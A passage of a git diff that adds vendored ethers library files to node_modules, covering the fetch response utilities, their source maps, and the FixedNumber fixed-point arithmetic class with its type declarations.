registerGetUrl(getUrl) { + if (locked) { + throw new Error("gateways locked"); + } + defaultGetUrlFunc = getUrl; + } + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options) { + return createGetUrl(options); + } + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway() { + return dataGatewayFunc; + } + /** + * Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl) { + return getIpfsGatewayFunc(baseUrl); + } +} +; +/** + * The response for a FetchRequest. + */ +export class FetchResponse { + #statusCode; + #statusMessage; + #headers; + #body; + #request; + #error; + toString() { + return ``; + } + /** + * The response status code. + */ + get statusCode() { return this.#statusCode; } + /** + * The response status message. + */ + get statusMessage() { return this.#statusMessage; } + /** + * The response headers. All keys are lower-case. + */ + get headers() { return Object.assign({}, this.#headers); } + /** + * The response body, or ``null`` if there was no body. + */ + get body() { + return (this.#body == null) ? null : new Uint8Array(this.#body); + } + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText() { + try { + return (this.#body == null) ? "" : toUtf8String(this.#body); + } + catch (error) { + assert(false, "response body is not valid UTF-8 data", "UNSUPPORTED_OPERATION", { + operation: "bodyText", info: { response: this } + }); + } + } + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson() { + try { + return JSON.parse(this.bodyText); + } + catch (error) { + assert(false, "response body is not valid JSON", "UNSUPPORTED_OPERATION", { + operation: "bodyJson", info: { response: this } + }); + } + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + constructor(statusCode, statusMessage, headers, body, request) { + this.#statusCode = statusCode; + this.#statusMessage = statusMessage; + this.#headers = Object.keys(headers).reduce((accum, k) => { + accum[k.toLowerCase()] = String(headers[k]); + return accum; + }, {}); + this.#body = ((body == null) ? null : new Uint8Array(body)); + this.#request = (request || null); + this.#error = { message: "" }; + } + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message, error) { + let statusMessage; + if (!message) { + message = `${this.statusCode} ${this.statusMessage}`; + statusMessage = `CLIENT ESCALATED SERVER ERROR (${message})`; + } + else { + statusMessage = `CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`; + } + const response = new FetchResponse(599, statusMessage, this.headers, this.body, this.#request || undefined); + response.#error = { message, error }; + return response; + } + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message, stall) { + if (stall == null) { + stall = -1; + } + else { + assertArgument(Number.isInteger(stall) && stall >= 0, "invalid stall timeout", "stall", stall); + } + const error = new Error(message || "throttling requests"); + defineProperties(error, { stall, throttle: true }); + throw error; + } + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Returns true if the response has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The request made for this response. + */ + get request() { return this.#request; } + /** + * Returns true if this response was a success statusCode. + */ + ok() { + return (this.#error.message === "" && this.statusCode >= 200 && this.statusCode < 300); + } + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk() { + if (this.ok()) { + return; + } + let { message, error } = this.#error; + if (message === "") { + message = `server response ${this.statusCode} ${this.statusMessage}`; + } + let requestUrl = null; + if (this.request) { + requestUrl = this.request.url; + } + let responseBody = null; + try { + if (this.#body) { + responseBody = toUtf8String(this.#body); + } + } + catch (e) { } + assert(false, message, "SERVER_ERROR", { + request: (this.request || "unknown request"), response: this, error, + info: { + requestUrl, responseBody, + responseStatus: `${this.statusCode} ${this.statusMessage}` + } + }); + } +} +function getTime() { return (new Date()).getTime(); } +function unpercent(value) { + return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => { + return String.fromCharCode(parseInt(code, 16)); + })); +} +function wait(delay) { + return new Promise((resolve) => setTimeout(resolve, delay)); +} +//# sourceMappingURL=fetch.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fetch.js.map b/node_modules/ethers/lib.esm/utils/fetch.js.map new file mode 100644 index 000000000000..061d8100bb09 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fetch.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fetch.js","sourceRoot":"","sources":["../../src.ts/utils/fetch.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AACH,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AACzD,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,EAAE,MAAM,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC;AACrD,OAAO,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AACnD,OAAO,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,WAAW,CAAC;AAEtD,OAAO,EAAE,YAAY,EAAE,MA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UAAU,GAAG,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC;SAAE;QAEpD,IAAI,YAAY,GAAkB,IAAI,CAAC;QACvC,IAAI;YACA,IAAI,IAAI,CAAC,KAAK,EAAE;gBAAE,YAAY,GAAG,YAAY,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;aAAE;SAC/D;QAAC,OAAO,CAAC,EAAE,GAAG;QAEf,MAAM,CAAC,KAAK,EAAE,OAAO,EAAE,cAAc,EAAE;YACnC,OAAO,EAAE,CAAC,IAAI,CAAC,OAAO,IAAI,iBAAiB,CAAC,EAAE,QAAQ,EAAE,IAAI,EAAE,KAAK;YACnE,IAAI,EAAE;gBACF,UAAU,EAAE,YAAY;gBACxB,cAAc,EAAE,GAAI,IAAI,CAAC,UAAW,IAAK,IAAI,CAAC,aAAc,EAAE;aAAE;SACvE,CAAC,CAAC;IACP,CAAC;CACJ;AAGD,SAAS,OAAO,KAAa,OAAO,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;AAE7D,SAAS,SAAS,CAAC,KAAa;IAC5B,OAAO,WAAW,CAAC,KAAK,CAAC,OAAO,CAAC,uBAAuB,EAAE,CAAC,GAAG,EAAE,IAAI,EAAE,EAAE;QACpE,OAAO,MAAM,CAAC,YAAY,CAAC,QAAQ,CAAC,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC;IACnD,CAAC,CAAC,CAAC,CAAC;AACR,CAAC;AAED,SAAS,IAAI,CAAC,KAAa;IACvB,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC,CAAC;AAChE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fixednumber.d.ts b/node_modules/ethers/lib.esm/utils/fixednumber.d.ts new file mode 100644 index 000000000000..20c8b8374b51 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fixednumber.d.ts @@ -0,0 +1,252 @@ +import type { BigNumberish, BytesLike, Numeric } from "./index.js"; +/** + * A description of a fixed-point arithmetic field. + * + * When specifying the fixed format, the values override the default of + * a ``fixed128x18``, which implies a signed 128-bit value with 18 + * decimals of precision. + * + * The alias ``fixed`` and ``ufixed`` can be used for ``fixed128x18`` and + * ``ufixed128x18`` respectively. + * + * When a fixed format string begins with a ``u``, it indicates the field + * is unsigned, so any negative values will overflow. The first number + * indicates the bit-width and the second number indicates the decimal + * precision. + * + * When a ``number`` is used for a fixed format, it indicates the number + * of decimal places, and the default width and signed-ness will be used. + * + * The bit-width must be byte aligned and the decimals can be at most 80. + */ +export type FixedFormat = number | string | { + signed?: boolean; + width?: number; + decimals?: number; +}; +/** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ +export declare class FixedNumber { + #private; + /** + * The specific fixed-point arithmetic field for this value. + */ + readonly format: string; + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + readonly _value: string; + /** + * @private + */ + constructor(guard: any, value: bigint, format: any); + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed(): boolean; + /** + * The number of bits available to store the value. + */ + get width(): number; + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals(): number; + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value(): bigint; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other: FixedNumber): FixedNumber; + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is larger and ``0`` implies + * both are equal. + */ + cmp(other: FixedNumber): number; + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other: FixedNumber): boolean; + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor(): FixedNumber; + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling(): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals?: number): FixedNumber; + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero(): boolean; + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative(): boolean; + /** + * Returns the string representation of %%this%%. + */ + toString(): string; + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat(): number; + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format: FixedFormat): FixedNumber; + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value: BigNumberish, _decimals?: Numeric, _format?: FixedFormat): FixedNumber; + /** + * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value: string, _format?: FixedFormat): FixedNumber; + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value: BytesLike, _format?: FixedFormat): FixedNumber; +} +//# sourceMappingURL=fixednumber.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fixednumber.d.ts.map b/node_modules/ethers/lib.esm/utils/fixednumber.d.ts.map new file mode 100644 index 000000000000..b34cc64f0060 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fixednumber.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fixednumber.d.ts","sourceRoot":"","sources":["../../src.ts/utils/fixednumber.ts"],"names":[],"mappings":"AAiBA,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AA2CnE;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,GAAG,MAAM,GAAG;IACxC,MAAM,CAAC,EAAE,OAAO,CAAC;IACjB,KAAK,CAAC,EAAE,MAAM,CAAC;IACf,QAAQ,CAAC,EAAE,MAAM,CAAA;CACpB,CAAC;AAwGF;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AACH,qBAAa,WAAW;;IAEpB;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAUzB;;;;OAIG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAMzB;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EA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;IAEjC;;;;;OAKG;IACH,KAAK,IAAI,WAAW;IAOpB;;;;;OAKG;IACH,OAAO,IAAI,WAAW;IAOtB;;;OAGG;IACH,KAAK,CAAC,QAAQ,CAAC,EAAE,MAAM,GAAG,WAAW;IAkBrC;;OAEG;IACH,MAAM,IAAI,OAAO;IAEjB;;OAEG;IACH,UAAU,IAAI,OAAO;IAErB;;OAEG;IACH,QAAQ,IAAI,MAAM;IAElB;;;;;;OAMG;IACH,aAAa,IAAI,MAAM;IAEvB;;;;;OAKG;IACH,QAAQ,CAAC,MAAM,EAAE,WAAW,GAAG,WAAW;IAI1C;;;;;;;OAOG;IACH,MAAM,CAAC,SAAS,CAAC,MAAM,EAAE,YAAY,EAAE,SAAS,CAAC,EAAE,OAAO,EAAE,OAAO,CAAC,EAAE,WAAW,GAAG,WAAW;IAqB/F;;;;;OAKG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,WAAW,GAAG,WAAW;IA0BrE;;;;;;OAMG;IACH,MAAM,CAAC,SAAS,CAAC,MAAM,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,WAAW,GAAG,WAAW;CAU1E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fixednumber.js b/node_modules/ethers/lib.esm/utils/fixednumber.js new file mode 100644 index 000000000000..bfb391d953f0 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fixednumber.js @@ -0,0 +1,526 @@ +/** + * The **FixedNumber** class permits using values with decimal places, + * using fixed-pont math. + * + * Fixed-point math is still based on integers under-the-hood, but uses an + * internal offset to store fractional components below, and each operation + * corrects for this after each operation. + * + * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math] + */ +import { getBytes } from "./data.js"; +import { assert, assertArgument, assertPrivate } from "./errors.js"; +import { getBigInt, getNumber, fromTwos, mask, toBigInt } from "./maths.js"; +import { defineProperties } from "./properties.js"; +const BN_N1 = BigInt(-1); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_5 = BigInt(5); +const _guard = {}; +// Constant to pull zeros from for multipliers +let Zeros = "0000"; +while (Zeros.length < 80) { + Zeros += Zeros; +} +// Returns a string "1" followed by decimal "0"s +function getTens(decimals) { + let result = Zeros; + while (result.length < decimals) { + result += result; + } + return BigInt("1" + result.substring(0, decimals)); +} +function checkValue(val, format, safeOp) { + const width = BigInt(format.width); + if (format.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } + else { + val = -fromTwos(mask(-val, width), width); + } + } + else { + const limit = (BN_1 << width); + assert(safeOp == null || (val >= 0 && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = (((val % limit) + limit) % limit) & (limit - BN_1); + } + return val; +} +function getFormat(value) { + if (typeof (value) === "number") { + value = `fixed128x${value}`; + } + let signed = true; + let width = 128; + let decimals = 18; + if (typeof (value) === "string") { + // Parse the format string + if (value === "fixed") { + // defaults... + } + else if (value === "ufixed") { + signed = false; + } + else { + const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); + assertArgument(match, "invalid fixed format", "format", value); + signed = (match[1] !== "u"); + width = parseInt(match[2]); + decimals = parseInt(match[3]); + } + } + else if (value) { + // Extract the values from the object + const v = value; + const check = (key, type, defaultValue) => { + if (v[key] == null) { + return defaultValue; + } + assertArgument(typeof (v[key]) === type, "invalid fixed format (" + key + " not " + type + ")", "format." + key, v[key]); + return v[key]; + }; + signed = check("signed", "boolean", signed); + width = check("width", "number", width); + decimals = check("decimals", "number", decimals); + } + assertArgument((width % 8) === 0, "invalid FixedNumber width (not byte aligned)", "format.width", width); + assertArgument(decimals <= 80, "invalid FixedNumber decimals (too large)", "format.decimals", decimals); + const name = (signed ? "" : "u") + "fixed" + String(width) + "x" + String(decimals); + return { signed, width, decimals, name }; +} +function toString(val, decimals) { + let negative = ""; + if (val < BN_0) { + negative = "-"; + val *= BN_N1; + } + let str = val.toString(); + // No decimal point for whole values + if (decimals === 0) { + return (negative + str); + } + // Pad out to the whole component (including a whole digit) + while (str.length <= decimals) { + str = Zeros + str; + } + // Insert the decimal point + const index = str.length - decimals; + str = str.substring(0, index) + "." + str.substring(index); + // Trim the whole component (leaving at least one 0) + while (str[0] === "0" && str[1] !== ".") { + str = str.substring(1); + } + // Trim the decimal component (leaving at least one 0) + while (str[str.length - 1] === "0" && str[str.length - 2] !== ".") { + str = str.substring(0, str.length - 1); + } + return (negative + str); +} +/** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ +export class FixedNumber { + /** + * The specific fixed-point arithmetic field for this value. + */ + format; + #format; + // The actual value (accounting for decimals) + #val; + // A base-10 value to multiple values by to maintain the magnitude + #tens; + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + _value; + // Use this when changing this file to get some typing info, + // but then switch to any to mask the internal type + //constructor(guard: any, value: bigint, format: _FixedFormat) { + /** + * @private + */ + constructor(guard, value, format) { + assertPrivate(guard, _guard, "FixedNumber"); + this.#val = value; + this.#format = format; + const _value = toString(value, format.decimals); + defineProperties(this, { format: format.name, _value }); + this.#tens = getTens(format.decimals); + } + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed() { return this.#format.signed; } + /** + * The number of bits available to store the value. + */ + get width() { return this.#format.width; } + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals() { return this.#format.decimals; } + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value() { return this.#val; } + #checkFormat(other) { + assertArgument(this.format === other.format, "incompatible format; use fixedNumber.toFormat", "other", other); + } + #checkValue(val, safeOp) { + /* + const width = BigInt(this.width); + if (this.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } else { + val = -fromTwos(mask(-val, width), width); + } + + } else { + const masked = mask(val, width); + assert(safeOp == null || (val >= 0 && val === masked), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = masked; + } + */ + val = checkValue(val, this.#format, safeOp); + return new FixedNumber(_guard, val, this.#format); + } + #add(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val + o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other) { return this.#add(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other) { return this.#add(other, "add"); } + #sub(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val - o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other) { return this.#sub(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other) { return this.#sub(other, "sub"); } + #mul(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other) { return this.#mul(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other) { return this.#mul(other, "mul"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other) { + this.#checkFormat(other); + const value = this.#val * other.#val; + assert((value % this.#tens) === BN_0, "precision lost during signalling mul", "NUMERIC_FAULT", { + operation: "mulSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / this.#tens, "mulSignal"); + } + #div(o, safeOp) { + assert(o.#val !== BN_0, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(o); + return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other) { return this.#div(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other) { return this.#div(other, "div"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other) { + assert(other.#val !== BN_0, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(other); + const value = (this.#val * this.#tens); + assert((value % other.#val) === BN_0, "precision lost during signalling div", "NUMERIC_FAULT", { + operation: "divSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / other.#val, "divSignal"); + } + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is larger and ``0`` implies + * both are equal. + */ + cmp(other) { + let a = this.value, b = other.value; + // Coerce a and b to the same magnitude + const delta = this.decimals - other.decimals; + if (delta > 0) { + b *= getTens(delta); + } + else if (delta < 0) { + a *= getTens(-delta); + } + // Comnpare + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + } + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other) { return this.cmp(other) === 0; } + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other) { return this.cmp(other) < 0; } + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other) { return this.cmp(other) <= 0; } + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other) { return this.cmp(other) > 0; } + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other) { return this.cmp(other) >= 0; } + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor() { + let val = this.#val; + if (this.#val < BN_0) { + val -= this.#tens - BN_1; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "floor"); + } + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling() { + let val = this.#val; + if (this.#val > BN_0) { + val += this.#tens - BN_1; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "ceiling"); + } + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals) { + if (decimals == null) { + decimals = 0; + } + // Not enough precision to not already be rounded + if (decimals >= this.decimals) { + return this; + } + const delta = this.decimals - decimals; + const bump = BN_5 * getTens(delta - 1); + let value = this.value + bump; + const tens = getTens(delta); + value = (value / tens) * tens; + checkValue(value, this.#format, "round"); + return new FixedNumber(_guard, value, this.#format); + } + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero() { return (this.#val === BN_0); } + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative() { return (this.#val < BN_0); } + /** + * Returns the string representation of %%this%%. + */ + toString() { return this._value; } + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat() { return parseFloat(this.toString()); } + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format) { + return FixedNumber.fromString(this.toString(), format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value, _decimals, _format) { + const decimals = (_decimals == null) ? 0 : getNumber(_decimals); + const format = getFormat(_format); + let value = getBigInt(_value, "value"); + const delta = decimals - format.decimals; + if (delta > 0) { + const tens = getTens(delta); + assert((value % tens) === BN_0, "value loses precision for format", "NUMERIC_FAULT", { + operation: "fromValue", fault: "underflow", value: _value + }); + value /= tens; + } + else if (delta < 0) { + value *= getTens(-delta); + } + checkValue(value, format, "fromValue"); + return new FixedNumber(_guard, value, format); + } + /** 